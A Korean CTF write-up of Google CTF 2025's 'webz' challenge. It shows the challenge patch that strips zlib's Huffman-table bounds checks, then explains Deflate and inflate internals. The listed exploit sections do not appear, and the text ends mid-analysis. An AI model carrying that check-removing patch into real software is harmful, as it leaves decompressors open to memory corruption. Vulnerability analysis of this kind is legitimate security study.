[CTF] Google CTF 2025 - webz : Exploiting zlib's Huffman Code Table [한국어]

The Amazing Digital Orange·2025년 7월 19일

목록 보기

9/11

English: https://velog.io/@0range1337/CTF-Google-CTF-2025-webz-Exploiting-zlibs-Huffman-Code-Table-English

1. Overview
2. Background
	2-1. google-zlib-Increase-Huffman-Table-Size.patch
	2-2. Deflate Algorithm
		2-2-1. LZ77
		2-2-2. Huffman Coding
3. Code Analysis
	3-1. Inflate
	3-2. Huffman Table
	3-3. Decode
4. Vulnerability
	4-1. Unintialized Huffman Code Table
	4-2. Exploiting inflate_fast
    	4-2-1. Integer Overflow (Unexploitable)
    	4-2-2. PoC
        4-2-3. Stream Overflow (Exploitable)
    	4-2-4. PoC
5. Exploit

1. Overview

webz는 Google CTF 2025에서 출제된 zlib 익스플로잇 문제입니다. 문제에서 주어지는 Google-zlib 구현은 원본이 아니고 임의의 패치가 적용된 버전입니다. 일반적인 오픈소스 익스플로잇 챌린지들은 명확하게 취약점을 발생시키는 패치가 주어지는 반면 webz의 Google-zlib 패치는 겉보기에는 최적화를 위한 정상적인 패치로 보입니다.

실제 해당 Google-zlib의 취약점은 퍼징을 통해 빠르게 찾을 수 있습니다. 하지만 해당 글에서는 소스코드 분석을 통해 정확한 Root Cause를 알아내겠습니다.

2. Background

Google-zlib 소스코드는 분량이 많지 않지만 상당히 난해한 편입니다. 압축 알고리즘의 구현과 비트 단위의 데이터 컨트롤, 가독성을 포기한 최적화 코드로 인해 분석이 어렵습니다.

// webz.c:L114
    int ret = inflateInit2(&webz_state.infstream, -15);
    webz_state.infstream.msg = webz_state.ok_status;

    if (ret != Z_OK) {
        printf("Error: inflateInit failed: %d\n", ret);
        return;
    }

    ret = inflate(&webz_state.infstream, Z_NO_FLUSH);

    if (ret != Z_STREAM_END) {
        printf("Error: inflate failed: %d\n", ret);
        inflateEnd(&webz_state.infstream);
        return;
    }

    inflateEnd(&webz_state.infstream);

// zlib.h:L570
/*
     windowBits can also be -8..-15 for raw deflate.  In this case, -windowBits
   determines the window size.  deflate() will then generate raw deflate data
   with no zlib header or trailer, and will not compute a check value.
*/

먼저, 주어진 webz.c 코드를 확인하겠습니다. webz.c는 단순한 Google-zlib에 대한 Wrapper 코드입니다. 유저로부터 Raw Deflate 압축 데이터를 받고, 이를 Google-zlib의 inflate 함수를 통해 압축 해제합니다. 따라서, 우리는 inflate 구현이 존재하는 inflate.c, inftrees.c, inffast.c 코드에서 취약점을 식별해야만 합니다.

inflate.c
inflate 구현의 핵심입니다. inflate 함수는 Virtual finite-state machine 이며, 주어진 압축 데이터를 opcode처럼 다루는 가상 머신입니다. 후에 더 자세히 분석하겠지만, 압축 데이터를 Block 단위로 처리합니다.

inftrees.c
Deflate 압축 알고리즘에서 사용되는 압축 알고리즘 중 하나는 허프만 부호화(Huffman Coding) 입니다. Inflate 구현에서 허프만 부호화를 디코딩하기 위해서는 허프만 테이블을 생성해야하는데, inftrees.c는 바로 이 허프만 테이블 생성과 관련된 코드입니다.

inffast.c
inffast.c는 inflate의 디코딩에 대한 고속 구현인 inflate_fast 함수에 대한 코드입니다. 특정 조건에서 inflate 함수는 inflate_fast 함수를 호출하여 데이터를 디코딩합니다.

2-1. google-zlib-Increase-Huffman-Table-Size.patch

From 2c282408771115b3cf80eeb9572927b796ddea79 Mon Sep 17 00:00:00 2001
From: Brendon Tiszka <tiszka@google.com>
Date: Wed, 21 May 2025 15:11:52 +0000
Subject: [PATCH] [google-zlib] Increase Huffman Table Size

The basic idea is to use a bigger root & secondary table for both
dists and lens, allowing us to avoid oversubscription chekcs.
---
 inftrees.c | 18 ------------------
 inftrees.h | 18 +++++-------------
 2 files changed, 5 insertions(+), 31 deletions(-)

diff --git a/inftrees.c b/inftrees.c
index a127e6b..7a8dd2e 100644
--- a/inftrees.c
+++ b/inftrees.c
@@ -122,16 +122,6 @@ int ZLIB_INTERNAL inflate_table(codetype type, unsigned short FAR *lens,
         if (count[min] != 0) break;
     if (root < min) root = min;
 
-    /* check for an over-subscribed or incomplete set of lengths */
-    left = 1;
-    for (len = 1; len <= MAXBITS; len++) {
-        left <<= 1;
-        left -= count[len];
-        if (left < 0) return -1;        /* over-subscribed */
-    }
-    if (left > 0 && (type == CODES || max != 1))
-        return -1;                      /* incomplete set */
-
     /* generate offsets into symbol table for each length for sorting */
     offs[1] = 0;
     for (len = 1; len < MAXBITS; len++)
@@ -200,11 +190,6 @@ int ZLIB_INTERNAL inflate_table(codetype type, unsigned short FAR *lens,
     used = 1U << root;          /* use root table entries */
     mask = used - 1;            /* mask for comparing low */
 
-    /* check available table space */
-    if ((type == LENS && used > ENOUGH_LENS) ||
-        (type == DISTS && used > ENOUGH_DISTS))
-        return 1;
-
     /* process all codes and make table entries */
     for (;;) {
         /* create table entry */
@@ -270,9 +255,6 @@ int ZLIB_INTERNAL inflate_table(codetype type, unsigned short FAR *lens,
 
             /* check for enough space */
             used += 1U << curr;
-            if ((type == LENS && used > ENOUGH_LENS) ||
-                (type == DISTS && used > ENOUGH_DISTS))
-                return 1;
 
             /* point entry in root table to sub-table */
             low = huff & mask;
diff --git a/inftrees.h b/inftrees.h
index 396f74b..42c2c44 100644
--- a/inftrees.h
+++ b/inftrees.h
@@ -35,19 +35,11 @@ typedef struct {
     01000000 - invalid code
  */
 
-/* Maximum size of the dynamic table.  The maximum number of code structures is
-   1444, which is the sum of 852 for literal/length codes and 592 for distance
-   codes.  These values were found by exhaustive searches using the program
-   examples/enough.c found in the zlib distribution.  The arguments to that
-   program are the number of symbols, the initial root table size, and the
-   maximum bit length of a code.  "enough 286 9 15" for literal/length codes
-   returns 852, and "enough 30 6 15" for distance codes returns 592. The
-   initial root table size (9 or 6) is found in the fifth argument of the
-   inflate_table() calls in inflate.c and infback.c.  If the root table size is
-   changed, then these maximum sizes would be need to be recalculated and
-   updated. */
-#define ENOUGH_LENS 852
-#define ENOUGH_DISTS 592
+/* Memory/speed tradeoff. Alocate more-than-ENOUGH space for LENS and
+   DISTS so we can remove overflow checks from `inflate`.
+*/
+#define ENOUGH_LENS (1 << 15)
+#define ENOUGH_DISTS (1 << 15)
 #define ENOUGH (ENOUGH_LENS+ENOUGH_DISTS)
 
 /* Type of code to build for inflate_table() */
-- 
2.50.0.rc0.642.g800a2b2222-goog

문제에서 주어진 Google-zlib 소스코드에는 0001-google-zlib-Increase-Huffman-Table-Size.patch 파일이 존재합니다. 해당 패치 파일을 통해 문제의 Google-zlib 코드에는 위와 같은 패치가 적용되었음을 알 수 있습니다.

패치는 inftrees.c의 일부 검증 코드를 지우고 ENOUGH_LENS 및 ENOUGH_DISTS의 값을 크게 늘리고 있습니다. 주석을 통해 해당 패치가 허프만 테이블의 크기를 늘리고, 관련 검증 코드를 지움으로써 Memory / Speed tradeoff 최적화를 한다는 것을 알 수 있습니다. 지금 단계에서는 해당 패치가 정확히 어떤 문제를 일으키는지 알 수 없습니다. 다만 허프만 테이블과 허프만 부호화와 관련된 구현에 취약점이 존재할 것이라는 것은 명확합니다.

2-2. Deflate Algorithm

코드 분석에 앞서, Deflate 압축 알고리즘에 대해 알아보겠습니다. Deflate 압축 알고리즘은 위에서 언급했던 허프만 부호화와 LZ77 압축 알고리즘을 사용하여 데이터를 압축합니다.

2-2-1. LZ77

LZ77 압축 알고리즘의 원리는 매우 간단합니다. 반복되는 데이터를 길이, 거리 쌍으로 치환합니다.

ABCDEEABCDFF -> ABCDEE(4,6)FF

길이는 복사할 데이터의 길이를 의미하며, 거리는 복사할 데이터가 현재 위치에서 어느만큼 뒤에 있는지를 의미합니다.

2-2-1. Huffman Coding

허프만 부호화는 조금 더 복잡합니다. 허프만 부호화의 기본적인 원리는 원본 데이터를 비트 단위의 압축 데이터로 치환하는 것 입니다. 기본적으로 데이터의 최소 단위는 1바이트(8비트)이지만 이를 비트 단위의 더 작은 값으로 치환하면 효과적으로 크기를 줄일 수 있습니다.

ABABAAAABBBB (12 Byte, 96bit) -> 010100001111 ( 1.5 Byte, 12bit)

해당 예시 데이터에서는 A와 B라는 2개의 값 밖에 없었고, 각 데이터를 0과 1 이라는 1비트의 허프만 부호로 치환하여 압축하였습니다. 데이터 값의 종류가 2개보다 많다면 당연히 1비트 길이의 허프만 부호로 압축할 수 없습니다.

A -> 00
B -> 01
C -> 10
D -> 110
E -> 111

ABCDABCEABC -> 000110110000110111

위와 같이 허프만 부호는 주어진 데이터에 따라 달라질 수 있으며, 따라서 해당 압축 데이터를 디코딩하기 위해서는 그에 맞는 {허프만 부호 : 실제 값} 테이블이 필요합니다.

허프만 부호는 다른 허프만 부호의 접두부가 될 수 없습니다. 예를 들어, 111이라는 허프만 부호가 있다면 11이라는 허프만 부호는 존재할 수 없습니다. 허프만 부호는 길이가 서로 다를 수 있기 때문에, 접두부가 겹친다면 1110이라는 데이터가 111 + 0 인지 11 + 10인지 알 수 없기 때문입니다.

또한 허프만 부호는 위와 같이 데이터 값의 수에 따라서 최소 길이와 최대 길이가 달라지게 됩니다. 허프만 부호화는 빈도 수가 높은 값(A, B, C)에 대해서 짧은 허프만 부호(2비트)를 할당하고, 빈도 수가 낮은 값(D, E)에 대해서 긴 허프만 부호(3비트)를 할당함으로써 효과적으로 데이터를 압축합니다.

추가적으로 다음과 같은 사실을 고려해야합니다. Deflate 알고리즘이 주어진 데이터에 따라 효율적인 허프만 부호를 생성하고 허프만 부호화 압축을 수행하였다면, 이를 디코딩하기 위해서는 해당 데이터에 맞는 허프만 테이블이 필요합니다. 따라서 Deflate 알고리즘은 특정 상황에 따라 고정 허프만 테이블 또는 동적 허프만 테이블을 사용합니다.

고정 허프만 테이블
Deflate 및 Inflate 알고리즘에서 미리 정의되어있는 값 입니다. 데이터에 따라 최고 효율의 허프만 부호화를 수행할 수는 없지만 최종 데이터에 허프만 테이블 정보를 포함시키지 않아도 됩니다.

동적 허프만 테이블
위에 예시처럼 주어진 데이터에 맞는 최고 효율의 허프만 부호화를 수행하고, 해당 허프만 부호화를 디코딩할 수 있는 허프만 테이블을 최종 압축 데이터에 포함합니다.

위에서 언급한 “허프만 테이블을 최종 압축 데이터에 포함”에 대해서 조금 더 설명하겠습니다. 표준 허프만 테이블 구현에서는 이러한 허프만 테이블을 허프만 부호 길이만으로 표현할 수 있습니다.

A -> 00
B -> 01
C -> 10
D -> 110
E -> 111

위와 같이 허프만 부호 전체가 아닌,

A -> 2
B -> 2
C -> 2
D -> 3
E -> 3

이와 같이 허프만 부호 길이만으로 표현할 수 있다는 의미입니다. 실제 허프만 부호는 3~15비트이기 때문에 위와 같은 방식으로 압축 데이터에 저장되는 허프만 테이블의 크기를 줄일 수 있습니다.

이러한 허프만 부호 길이를 통한 허프만 테이블 압축과 별개로, google-zlib에서는 허프만 테이블을 다시 허프만 부호화를 통해 압축합니다. 이는 아래에 소스코드 분석 단계에서 더 자세히 설명하겠습니다.

huffman_table['A'] = 2
huffman_table['B'] = 2
huffman_table['C'] = 2
huffman_table['D'] = 3
huffman_table['E'] = 3

위와 같은 압축이 가능한 이유는 간단합니다. 허프만 테이블은 다음과 같이 원본 값을 index로 하는 테이블 입니다. 첫번째 A에 대해서 2비트 허프만 부호에 첫번째 값 00을 할당하면, 그 다음 B는 01, C는 10 .. 이와 같이 길이, 순서 만으로 모든 허프만 부호를 알아낼 수 있습니다. 즉, Deflate 과정에서 위와 같이 순서대로 허프만 부호를 할당했다면, Inflate 과정에서는 길이 값만 알아도 순서대로 허프만 부호를 계산할 수 있습니다.

Deflate 알고리즘은 허프만 부호화를 통해 Literal 값 (0~255) 뿐만 아니라 LZ77 알고리즘의 길이, 거리 쌍 또한 압축합니다.

3. Code Analysis

3-1. Inflate

int ZEXPORT inflate(z_streamp strm, int flush) {
    struct inflate_state FAR *state;
    z_const unsigned char FAR *next;    /* next input */
    unsigned char FAR *put;     /* next output */
    unsigned have, left;        /* available input and output */
    unsigned long hold;         /* bit buffer */
    unsigned bits;              /* bits in bit buffer */
    unsigned in, out;           /* save starting available input and output */
    unsigned copy;              /* number of stored or match bytes to copy */
    unsigned char FAR *from;    /* where to copy match bytes from */
    code here;                  /* current decoding table entry */
    code last;                  /* parent table entry */
    unsigned len;               /* length to copy for repeats, bits to drop */
    int ret;                    /* return code */
#ifdef GUNZIP
    unsigned char hbuf[4];      /* buffer for gzip header crc calculation */
#endif
    static const unsigned short order[19] = /* permutation of code lengths */
        {16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15};

    if (inflateStateCheck(strm) || strm->next_out == Z_NULL ||
        (strm->next_in == Z_NULL && strm->avail_in != 0))
        return Z_STREAM_ERROR;

    state = (struct inflate_state FAR *)strm->state;
    if (state->mode == TYPE) state->mode = TYPEDO;      /* skip check */
    LOAD();
    in = have;
    out = left;
    ret = Z_OK;
    for (;;)
        switch (state->mode) {
        case HEAD:
            if (state->wrap == 0) {
                state->mode = TYPEDO;
                break;
            }
            ...

inflate 함수는 Virtual finite-state machine 입니다. 파라미터로 주어진 압축 데이터 스트림(strm) 내 압축 데이터 값을 opcode 처럼 활용하며 Virtual Machine과 같은 동작을 수행합니다. inflateInit2_ 함수에서 state->mode = HEAD로 초기화되기 때문에, state->mode = TYPED0가 되고 case TYPED0로 넘어갑니다.

/* Load registers with state in inflate() for speed */
#define LOAD() \
    do { \
        put = strm->next_out; \
        left = strm->avail_out; \
        next = strm->next_in; \
        have = strm->avail_in; \
        hold = state->hold; \
        bits = state->bits; \
    } while (0)

/* Restore state from registers in inflate() */
#define RESTORE() \
    do { \
        strm->next_out = put; \
        strm->avail_out = left; \
        strm->next_in = next; \
        strm->avail_in = have; \
        state->hold = hold; \
        state->bits = bits; \
    } while (0)

strm->next_out : 처리된 압축해제 버퍼의 end 포인터

strm->avail_out : 남은 압축해제 버퍼의 길이

strm->next_in : 처리할 압축 데이터의 end 포인터

strm->avail_in : 처리할 압축 데이터의 길이

state->hold : 비트 연산을 위한 버퍼

state->bits : 현재 state->hold 버퍼에 채워진 값의 길이

메인 로직을 분석하기에 앞서, Inflate 구현에서 사용되는 몇 가지 매크로와 변수를 먼저 확인하겠습니다. 스트림 구조체인 strm의 멤버 변수들은 레지스터 최적화가 이루어지지 않기 때문에 위와 같은 매크로를 통해, strm 내 데이터를 로컬 변수에 저장하고 연산합니다.

/* Get a byte of input into the bit accumulator, or return from inflate()
   if there is no input available. */
#define PULLBYTE() \
    do { \
        if (have == 0) goto inf_leave; \
        have--; \
        hold += (unsigned long)(*next++) << bits; \
        bits += 8; \
    } while (0)

/* Assure that there are at least n bits in the bit accumulator.  If there is
   not enough available input to do that, then return from inflate(). */
#define NEEDBITS(n) \
    do { \
        while (bits < (unsigned)(n)) \
            PULLBYTE(); \
    } while (0)

/* Return the low n bits of the bit accumulator (n < 16) */
#define BITS(n) \
    ((unsigned)hold & ((1U << (n)) - 1))

/* Remove n bits from the bit accumulator */
#define DROPBITS(n) \
    do { \
        hold >>= (n); \
        bits -= (unsigned)(n); \
    } while (0)

일반적인 데이터가 바이트 단위인 것과 달리 압축 데이터는 최소 데이터를 활용한 정보 표현과 허프만 부호화 같은 압축으로 인해 비트 단위로 이루어져있습니다. 따라서 Inflate 구현에서는 위 매크로처럼 hold 버퍼에 압축 데이터를 넣고 비트 단위의 연산을 수행합니다.

기본적으로 Inflate의 로직은 NEEDBITS 매크로를 통해 처리할 압축 데이터인 strm->next_in(next)의 데이터를 state->hold(hold) 버퍼에 옮기고, 옮긴 길이 만큼 strm->avail_in(have)의 값을 줄이는 것으로 시작합니다. 이후 BITS 매크로를 통해 필요한 만큼 비트 단위로 데이터를 처리하고, DROPBITS 매크로를 통해 처리된 데이터를 비트 단위로 버립니다.

이러한 비트 단위의 데이터 처리를 통해 압축 데이터를 디코딩하고 디코딩 된 값을 strm->next_out(put)에 이어 붙입니다. 이후 그 값의 길이 만큼 strm->avail_out(left)의 값을 줄입니다.

        case TYPEDO:
            if (state->last) {
                BYTEBITS();
                state->mode = CHECK;
                break;
            }
            NEEDBITS(3);
            state->last = BITS(1);
            DROPBITS(1);
            switch (BITS(2)) {
            case 0:                             /* stored block */
                Tracev((stderr, "inflate:     stored block%s\n",
                        state->last ? " (last)" : ""));
                state->mode = STORED;
                break;
            case 1:                             /* fixed block */
                fixedtables(state);
                Tracev((stderr, "inflate:     fixed codes block%s\n",
                        state->last ? " (last)" : ""));
                state->mode = LEN_;             /* decode codes */
                if (flush == Z_TREES) {
                    DROPBITS(2);
                    goto inf_leave;
                }
                break;
            case 2:                             /* dynamic block */
                Tracev((stderr, "inflate:     dynamic codes block%s\n",
                        state->last ? " (last)" : ""));
                state->mode = TABLE;
                break;
            case 3:
                strm->msg = (z_const char *)"invalid block type";
                state->mode = BAD;
            }
            DROPBITS(2);
            break;

다시 inflate 함수로 돌아오겠습니다. 압축 데이터는 블록 단위로 처리되는데, 그 시작이 case TYPED0 입니다. NEEDBITS(3) 매크로를 통해 버퍼에 3비트 이상의 값이 채워지도록 한 후, BITS(1) 매크로로 그 중 1 비트 값을 읽습니다. 해당 값은 state->last 값을 설정하는데 사용되는데, state->last는 해당 블록이 마지막 블록인지를 나타냅니다. 이후 state->last 정보로 사용된 1비트를 버리고 다음 2비트를 통해 블록의 종류를 판별하게 됩니다.

stored block (0) : 비압축 데이터를 저장하는 블록입니다. state->mode = STORED로 전환된 후, 바로 strm->next_in의 값을 strm->next_out로 복사하는 로직을 수행합니다.

fixed codes block (1) : 이전에 설명했던 고정 허프만 테이블 / 동적 허프만 테이블 중 고정 허프만 테이블을 통해 압축된 데이터가 담긴 블록입니다. fixedtables 함수를 통해 고정 허프만 테이블을 생성하고, state->mode = LEN_으로 허프만 부호화 디코딩 로직으로 넘어갑니다.

dynamic codes block(2) : 동적 허프만 테이블을 통해 압축된 데이터가 답긴 블록입니다. state->mode = TABLE을 통해 압축 데이터에 기록된 동적 허프만 테이블 정보를 읽고 동적 허프만 테이블을 생성한 후, 허프만 부호화 디코딩을 진행합니다.

각 블록은 다음과 같은 형태로 이루어져있습니다.

[0(stored_bock) + state->last + 복사할 길이 + 복사될 비압축 데이터]
[1(fixed codes block) + state->last + 압축된 데이터 (허프만 부호) + End of Block에 대한 허프만 부호]
[2(Dynamic codes block) + state->last + 동적 허프만 테이블 정보(Code 허프만 테이블 + 압축된 Literal/Length, Distance 허프만 테이블) + 압축된 데이터 (허프만 부호) + End of Block에 대한 허프만 부호 ]

압축 데이터는 하나 이상의 블록으로 구성 되어있으며, inflate 함수는 위와 같은 코드를 통해 각 블록을 디코딩 합니다.

        case TABLE:
            NEEDBITS(14);
            state->nlen = BITS(5) + 257;
            DROPBITS(5);
            state->ndist = BITS(5) + 1;
            DROPBITS(5);
            state->ncode = BITS(4) + 4;
            DROPBITS(4);
#ifndef PKZIP_BUG_WORKAROUND
            if (state->nlen > 286 || state->ndist > 30) {
                strm->msg = (z_const char *)"too many length or distance symbols";
                state->mode = BAD;
                break;
            }
#endif
            Tracev((stderr, "inflate:       table sizes ok\n"));
            state->have = 0;
            state->mode = LENLENS;
                /* fallthrough */

동적 허프만 테이블 생성 과정을 살펴보겠습니다. 위에서 언급하였듯, Dynamic codes block의 동적 허프만 테이블 정보는 Code 허프만 테이블, 압축된 Literal/Length 허프만 테이블, 압축된 Distance 허프만 테이블로 이루어졌습니다. 위 코드에서도 3가지 허프만 테이블에 대한 길이 정보를 가져오는 것을 알 수 있습니다.

Literal/Length허프만 테이블은 A, B 같은 Literal 정보와 LZ77의 길이, 거리 쌍 중 길이에 대한 허프만 부호 정보를 담고 있는 테이블입니다. Distance 테이블은 LZ77의 길이, 거리 쌍 중 거리에 대한 허프만 부호 정보를 담고 있는 테이블입니다. 이러한 2개의 테이블을 통해 허프만 부호화 디코딩, LZ77 디코딩을 수행합니다. 그렇다면 Code 허프만 테이블은 무엇일까요? Literal/Length 허프만 테이블과 Distance 테이블은 압축 데이터 내에 압축된 상태로 저장됩니다. 이 압축은 마찬가지로 허프만 부호화 압축이며, 이러한 허프만 테이블에 대한 압축을 디코딩 하기 위한 동적 허프만 테이블이 바로 Code 허프만 테이블입니다. 즉, Code 허프만 테이블은 허프만 테이블을 압축/압축해제 하기 위한 허프만 테이블인 것입니다.

        case LENLENS:
            while (state->have < state->ncode) {
                NEEDBITS(3);
                state->lens[order[state->have++]] = (unsigned short)BITS(3);
                DROPBITS(3);
            }
            while (state->have < 19)
                state->lens[order[state->have++]] = 0;
            state->next = state->codes;
            state->lencode = state->distcode = (const code FAR *)(state->next);
            state->lenbits = 7;
            ret = inflate_table(CODES, state->lens, 19, &(state->next),
                                &(state->lenbits), state->work);
            if (ret) {
                strm->msg = (z_const char *)"invalid code lengths set";
                state->mode = BAD;
                break;
            }
            Tracev((stderr, "inflate:       code lengths ok\n"));
            state->have = 0;
            state->mode = CODELENS;
                /* fallthrough */

가장 먼저, Code 허프만 테이블의 값을 가져와야합니다. Code 허프만 테이블의 길이인 state->ncode 값 만큼 반복하며, 3비트 정보를 state->lens에 기록합니다. 이때 해당 3비트 정보는 허프만 부호의 길이 값입니다. 허프만 부호화 설명에서 언급하였듯, 허프만 테이블 정보는 실제 허프만 부호가 아닌 허프만 부호의 길이만으로 표현할 수 있기 때문입니다. 즉, state->lens에는 order의 순서대로 Code 허프만 테이블의 허프만 부호 길이가 기록됩니다.

static const unsigned short order[19] = /* permutation of code lengths */
        {16, 17, 18, 0, 8, 7, 9, 6, 10, 5, 11, 4, 12, 3, 13, 2, 14, 1, 15};

여기서 order는 Code 허프만 테이블 정보의 길이를 줄이는 역할을 합니다. Code 허프만 테이블이 디코딩하는 원본 값은 0 ~ 18 입니다. 해당 19개의 원본 값에 대한 모든 허프만 부호 길이를 압축 데이터 내에 저장하는 것은 비효율적입니다.

Code 허프만 테이블에서 일반적으로 자주 사용되는 값은 order 배열의 순서와 동일합니다. 즉, 16,17,18 .. 순으로 자주 사용됩니다. 만약 허프만 부호 길이가 order순이 아닌 0~18 순으로 기록된다고 가정합시다. 0~15까지의 원본 값은 필요없지만, 자주 사용되는 16,17,18 값에 대한 테이블은 필요한 상황에서, 불필요하게 0~15까지의 허프만 부호 길이를 0 으로 기록해야합니다. 하지만 order 순서로 기록할 경우, 16,17,18에 대한 허프만 부호 길이 값만을 저장하고 나머지는 저장하지 않아도 됩니다. 이는 위 코드에서도 드러나 있습니다. state->ncode 만큼 허프만 부호 길이를 가져오고, 나머지 값(기록되지 않은 값)은 0으로 초기화합니다.

이후 허프만 테이블이 저장될 배열인 state->codes의 포인터를 state->next에 저장한 후, inflate_table 함수를 통해 허프만 테이블을 생성합니다. 생성된 허프만 테이블은 인자로 주어진 state->next(state->lencode) 기록됩니다. inflate_table 함수는 이후 더 자세히 설명하겠습니다. 여기서는 간단히 CODES (Code 허프만 테이블을 생성하겠다는 플래그), state->lens(허프만 부호 길이가 기록된 배열), 19 (테이블 요소 갯수 0~18), &(state->next)(테이블을 기록할 포인터), &(state->lenbits)(테이블 각 요소의 크기. 코드에서는 7로 설정합니다. 포인터로 전달되는 이유는 inflate_table 함수 내에서 해당 값을 조정할 수도 있기 때문입니다.),state->work(inflate_table 함수 내에서 이용되는 임시 정렬 배열) 다음과 같은 파라미터가 전달된다는 사실을 알 수 있습니다.

        case CODELENS:
            while (state->have < state->nlen + state->ndist) {
                for (;;) {
                    here = state->lencode[BITS(state->lenbits)];
                    if ((unsigned)(here.bits) <= bits) break;
                    PULLBYTE();
                }
                if (here.val < 16) {
                    DROPBITS(here.bits);
                    state->lens[state->have++] = here.val;
                }
                else {
                    if (here.val == 16) {
                        NEEDBITS(here.bits + 2);
                        DROPBITS(here.bits);
                        if (state->have == 0) {
                            strm->msg = (z_const char *)"invalid bit length repeat";
                            state->mode = BAD;
                            break;
                        }
                        len = state->lens[state->have - 1];
                        copy = 3 + BITS(2);
                        DROPBITS(2);
                    }
                    else if (here.val == 17) {
                        NEEDBITS(here.bits + 3);
                        DROPBITS(here.bits);
                        len = 0;
                        copy = 3 + BITS(3);
                        DROPBITS(3);
                    }
                    else {
                        NEEDBITS(here.bits + 7);
                        DROPBITS(here.bits);
                        len = 0;
                        copy = 11 + BITS(7);
                        DROPBITS(7);
                    }
                    if (state->have + copy > state->nlen + state->ndist) {
                        strm->msg = (z_const char *)"invalid bit length repeat";
                        state->mode = BAD;
                        break;
                    }
                    while (copy--)
                        state->lens[state->have++] = (unsigned short)len;
                }
            }

            /* handle error breaks in while */
            if (state->mode == BAD) break;

            /* check for end-of-block code (better have one) */
            if (state->lens[256] == 0) {
                strm->msg = (z_const char *)"invalid code -- missing end-of-block";
                state->mode = BAD;
                break;
            }

            /* build code tables -- note: do not change the lenbits or distbits
               values here (9 and 6) without reading the comments in inftrees.h
               concerning the ENOUGH constants, which depend on those values */
            state->next = state->codes;
            state->lencode = (const code FAR *)(state->next);
            state->lenbits = 9;
            ret = inflate_table(LENS, state->lens, state->nlen, &(state->next),
                                &(state->lenbits), state->work);
            if (ret) {
                strm->msg = (z_const char *)"invalid literal/lengths set";
                state->mode = BAD;
                break;
            }
            state->distcode = (const code FAR *)(state->next);
            state->distbits = 6;
            ret = inflate_table(DISTS, state->lens + state->nlen, state->ndist,
                            &(state->next), &(state->distbits), state->work);
            if (ret) {
                strm->msg = (z_const char *)"invalid distances set";
                state->mode = BAD;
                break;
            }
            Tracev((stderr, "inflate:       codes ok\n"));
            state->mode = LEN_;
            if (flush == Z_TREES) goto inf_leave;
                /* fallthrough */

Code 허프만 테이블을 생성했다면, 나머지 압축된 Literal/Length 테이블과 Distance 테이블 정보를 디코딩합니다. state->lenbits(테이블 요소의 크기)만큼 비트를 가져와 Code 허프만 테이블인 state->lencode를 통해 디코딩합니다. 이때 테이블로부터 code 구조체를 가져오는 것을 알 수 있습니다.

Code 허프만 테이블을 통해 디코딩 된 0~18의 값은 그 자체로 원본 값을 나타내지 않습니다. 주어진 코드를 분석하면, 각각 다음과 같은 역할을 합니다.

0~15: 허프만 부호 길이 0~15를 직접 나타냄

16: 이전 길이를 3-6회 반복

17: 길이 0을 3-10회 반복

18: 길이 0을 11-138회 반복

이렇듯, 글에서 의미하는 원본 값은 실제 압축 해제된 원본 값이 아닌, 허프만 부호화에서 디코딩 된 값을 의미합니다. 위에서 0~15처럼 원본 값이 실제 압축해제된 원본 값을 나타낼 수도 있지만, 16~18처럼 특수한 심볼 값일 수도 있습니다.

code here;

해당 구조체에 대해서는 허프만 테이블 생성 코드에서 더 자세히 설명하도록 하겠습니다. 해당 code 구조체의 멤버변수 값에 따라서 다양한 연산을 하고 최종적으로 각 데이터를 원본으로 디코딩합니다.

이전과 동일하게, inflate_table 함수를 통해 최종적으로 state->lencode 및 state->distcode에 각각 Literal/Length 허프만 테이블과 Distance 허프만 테이블을 기록합니다.

Code 허프만 테이블은 더 이상 사용하지 않기 때문에 state->lencode를 덮어써도 문제가 없습니다.

        case LEN:
            if (have >= 6 && left >= 258) {
                RESTORE();
                inflate_fast(strm, out);
                LOAD();
                if (state->mode == TYPE)
                    state->back = -1;
                break;
            }
            state->back = 0;
            for (;;) {
                here = state->lencode[BITS(state->lenbits)];
                if ((unsigned)(here.bits) <= bits) break;
                PULLBYTE();
            }
            if (here.op && (here.op & 0xf0) == 0) {
                last = here;
                for (;;) {
                    here = state->lencode[last.val +
                            (BITS(last.bits + last.op) >> last.bits)];
                    if ((unsigned)(last.bits + here.bits) <= bits) break;
                    PULLBYTE();
                }
                DROPBITS(last.bits);
                state->back += last.bits;
            }
            DROPBITS(here.bits);
            state->back += here.bits;
            state->length = (unsigned)here.val;
            if ((int)(here.op) == 0) {
                Tracevv((stderr, here.val >= 0x20 && here.val < 0x7f ?
                        "inflate:         literal '%c'\n" :
                        "inflate:         literal 0x%02x\n", here.val));
                state->mode = LIT;
                break;
            }
            if (here.op & 32) {
                Tracevv((stderr, "inflate:         end of block\n"));
                state->back = -1;
                state->mode = TYPE;
                break;
            }
            if (here.op & 64) {
                strm->msg = (z_const char *)"invalid literal/length code";
                state->mode = BAD;
                break;
            }
            state->extra = (unsigned)(here.op) & 15;
            state->mode = LENEXT;
                /* fallthrough */

이후에는 디코딩 과정으로 넘어갑니다. 마찬가지로, 생성된 허프만 테이블에서 code 구조체를 가져와 각 값에 따라 다양한 동작을 수행하고 원본 값을 디코딩한다는 것을 알 수 있습니다.

        case LIT:
            if (left == 0) goto inf_leave;
            *put++ = (unsigned char)(state->length);
            left--;
            state->mode = LEN;
            break;

간단히 확인해보면, here.op == 0 일때 state->mode = LIT으로 전환된 후, here.val에 담긴 원본 값을 그대로 strm->avail_out(put)에 이어붙인다는 것을 알 수 있습니다. 또한 here.bits는 해당 허프만 부호를 디코딩 할때 소모하는 비트 수를 의미합니다. 즉, here.bits는 해당 허프만 부호 길이이며, 디코딩을 수행할때, DROPBITS(here.bits)를 통해 strm->avail_in(have)를 소모합니다. 해당 로직은 평범한 허프만 부호화 디코딩입니다. 하지만 here.op에 따라 다른 디코딩 방식도 이용된다는 것을 알 수 있습니다. 이 역시 허프만 테이블 생성 파트에서 더 자세히 설명하겠습니다.

        case LEN:
            if (have >= 6 && left >= 258) {
                RESTORE();
                inflate_fast(strm, out);
                LOAD();
                if (state->mode == TYPE)
                    state->back = -1;
                break;
            }

